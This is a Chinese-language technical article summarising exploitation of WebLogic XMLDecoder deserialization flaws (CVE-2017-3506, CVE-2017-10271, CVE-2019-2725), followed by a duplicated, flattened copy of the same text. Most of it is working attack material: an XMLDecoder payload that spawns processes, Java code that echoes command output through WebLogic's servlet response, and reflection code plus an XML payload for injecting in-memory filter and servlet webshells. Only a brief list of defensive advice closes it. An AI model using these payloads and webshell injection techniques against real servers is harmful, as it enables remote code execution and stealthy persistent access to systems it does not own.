Weblogic Xmldecoder反序列化中的命令回显与内存马总结
字数 1448 2025-08-04 00:38:02

Weblogic XMLDecoder反序列化漏洞分析与利用

漏洞概述

Weblogic XMLDecoder反序列化漏洞涉及三个主要CVE:

  • CVE-2017-3506:最初漏洞,通过object标签实现反序列化
  • CVE-2017-10271:通过void、new标签绕过CVE-2017-3506补丁
  • CVE-2019-2725:由于_async组件存在反序列化问题

漏洞原理:WLS Security组件对外提供webservice服务,使用XMLDecoder解析用户传入的XML数据时出现反序列化漏洞。

漏洞调试环境搭建

修改domain的bin目录下的startWebLogic.cmd文件,添加:

set JAVA_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n

XMLDecoder标签分析

常用标签及其功能:

  • <object><void>:初始化对象,class属性指定类
  • <array>:创建数组
  • <void method="">:调用方法
  • <string>:字符串参数
  • <id>/<idref>:标记和引用对象

示例payload:

<object class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
        <void index="0"><string>cmd.exe</string></void>
        <void index="1"><string>/c</string></void>
        <void index="2"><string>calc.exe</string></void>
    </array>
    <void method="start"/>
</object>

命令回显构造

Weblogic版本差异

Weblogic 10 (10.3.6)

  • 通过当前线程获取WorkAdapter对象
  • WorkAdapter可直接转换为ServletRequestImpl
  • 通过ServletRequestImpl的getResponse()获取ServletResponseImpl

Weblogic 12 (12.1.3)

  • 通过当前线程获取ContainerSupportProviderImpl对象
  • 反射获取connectionHandler字段得到HttpConnectionHandler
  • 通过HttpConnectionHandler的getServletResponse()获取ServletResponseImpl

通用回显实现

ExecuteThread executeThread = (ExecuteThread)Thread.currentThread();
ServletResponseImpl servletResponse = null;
WorkAdapter workAdapter = executeThread.getCurrentWork();

if (workAdapter.getClass().getName().contains("ContainerSupportProviderImpl")) {
    // Weblogic 12
    Field field = workAdapter.getClass().getDeclaredField("connectionHandler");
    field.setAccessible(true);
    HttpConnectionHandler httpConnectionHandler = (HttpConnectionHandler)field.get(workAdapter);
    servletResponse = httpConnectionHandler.getServletResponse();
} else if (workAdapter instanceof ServletRequestImpl) {
    // Weblogic 10
    ServletRequestImpl servletRequest = (ServletRequestImpl)workAdapter;
    servletResponse = servletRequest.getResponse();
}

// 执行命令并回显
ProcessBuilder processBuilder = new ProcessBuilder(cmd);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();
servletResponse.getServletOutputStream().writeStream(proc.getInputStream());
servletResponse.getWriter().write("");

其他回显方法

  1. JavaScript引擎回显
new javax.script.ScriptEngineManager().getEngineByName("js").eval(jsCode);
  1. RMI绑定实例回显
  • 实现ClusterMasterRemote接口
  • 在getServerLocation方法中返回命令执行结果
  1. JNDI回显
  • 使用com.sun.rowset.JdbcRowSetImpl触发JNDI查询
  • 或直接注册JNDI Reference对象

内存马注入

Filter内存马

实现流程

  1. 获取Weblogic的ChangeAwareClassLoader
  2. 向cachedClasses插入恶意类
  3. 调用FilterManager.registerFilter注册filter

关键代码

// 获取ChangeAwareClassLoader
WebAppServletContext context = ...;
ChangeAwareClassLoader classLoader = (ChangeAwareClassLoader)context.getClassLoader();

// 获取cachedClasses字段并添加恶意类
Field cachedClassesField = ChangeAwareClassLoader.class.getDeclaredField("cachedClasses");
cachedClassesField.setAccessible(true);
ConcurrentHashMap cachedClasses = (ConcurrentHashMap)cachedClassesField.get(classLoader);
cachedClasses.put("evilFilter", evilFilterClass);

// 注册filter
FilterManager filterManager = context.getFilterManager();
Method registerFilter = FilterManager.class.getDeclaredMethod("registerFilter", String.class, String.class, String[].class, Map.class, String[].class, String[].class, boolean.class);
registerFilter.invoke(filterManager, "evilFilter", "evilFilter", new String[]{"/*"}, new HashMap(), new String[0], new String[0], false);

Servlet内存马

两种实现方式

  1. 直接调用registerServlet
context.registerServlet("evilServlet", "evilServlet", new String[]{"/evil"}, -1, true);
  1. 操作servletMapping
// 获取servletMapping
Field servletMappingField = WebAppServletContext.class.getDeclaredField("servletMapping");
servletMappingField.setAccessible(true);
Map servletMapping = (Map)servletMappingField.get(context);

// 创建ServletStubImpl
Constructor<ServletStubImpl> constructor = ServletStubImpl.class.getDeclaredConstructor(String.class, String.class, WebAppServletContext.class);
constructor.setAccessible(true);
ServletStubImpl stub = constructor.newInstance("/evil", "evilServlet", context);

// 创建URLMatchHelper并添加到servletMapping
Constructor<URLMatchHelper> urlHelperConstructor = URLMatchHelper.class.getDeclaredConstructor(String.class, ServletStubImpl.class);
URLMatchHelper helper = urlHelperConstructor.newInstance("/evil", stub);
servletMapping.put("/evil", helper);

动态注入内存马

通过单个请求同时注入filter类和webshell类:

<java>
    <void class="weblogic.utils.Hex" method="fromHexString" id="cls">
        <string>filterClassHex...</string>
    </void>
    <void class="org.mozilla.classfile.DefiningClassLoader">
        <void method="defineClass">
            <string>com.qing.weblogic12_filterShell</string>
            <object idref="cls"/>
            <void method="newInstance">
                <void method="say">
                    <string>webshellClassHex...</string>
                </void>
            </void>
        </void>
    </void>
</java>

防御建议

  1. 及时更新Weblogic补丁
  2. 禁用不必要的组件和服务
  3. 监控XMLDecoder的使用
  4. 实施网络隔离,限制Weblogic服务器的出站连接
  5. 定期检查Servlet和Filter注册情况

参考链接

  1. https://xz.aliyun.com/t/7228
  2. https://www.cnblogs.com/potatsoSec/p/13162792.html
  3. https://xz.aliyun.com/t/5299
  4. https://xz.aliyun.com/t/5069
  5. https://paper.seebug.org/1316/
Weblogic XMLDecoder反序列化漏洞分析与利用 漏洞概述 Weblogic XMLDecoder反序列化漏洞涉及三个主要CVE: CVE-2017-3506:最初漏洞,通过object标签实现反序列化 CVE-2017-10271:通过void、new标签绕过CVE-2017-3506补丁 CVE-2019-2725:由于_ async组件存在反序列化问题 漏洞原理:WLS Security组件对外提供webservice服务,使用XMLDecoder解析用户传入的XML数据时出现反序列化漏洞。 漏洞调试环境搭建 修改domain的bin目录下的startWebLogic.cmd文件,添加: XMLDecoder标签分析 常用标签及其功能: <object> 或 <void> :初始化对象,class属性指定类 <array> :创建数组 <void method=""> :调用方法 <string> :字符串参数 <id> / <idref> :标记和引用对象 示例payload: 命令回显构造 Weblogic版本差异 Weblogic 10 (10.3.6) : 通过当前线程获取WorkAdapter对象 WorkAdapter可直接转换为ServletRequestImpl 通过ServletRequestImpl的getResponse()获取ServletResponseImpl Weblogic 12 (12.1.3) : 通过当前线程获取ContainerSupportProviderImpl对象 反射获取connectionHandler字段得到HttpConnectionHandler 通过HttpConnectionHandler的getServletResponse()获取ServletResponseImpl 通用回显实现 其他回显方法 JavaScript引擎回显 : RMI绑定实例回显 : 实现ClusterMasterRemote接口 在getServerLocation方法中返回命令执行结果 JNDI回显 : 使用com.sun.rowset.JdbcRowSetImpl触发JNDI查询 或直接注册JNDI Reference对象 内存马注入 Filter内存马 实现流程 : 获取Weblogic的ChangeAwareClassLoader 向cachedClasses插入恶意类 调用FilterManager.registerFilter注册filter 关键代码 : Servlet内存马 两种实现方式 : 直接调用registerServlet : 操作servletMapping : 动态注入内存马 通过单个请求同时注入filter类和webshell类: 防御建议 及时更新Weblogic补丁 禁用不必要的组件和服务 监控XMLDecoder的使用 实施网络隔离,限制Weblogic服务器的出站连接 定期检查Servlet和Filter注册情况 参考链接 https://xz.aliyun.com/t/7228 https://www.cnblogs.com/potatsoSec/p/13162792.html https://xz.aliyun.com/t/5299 https://xz.aliyun.com/t/5069 https://paper.seebug.org/1316/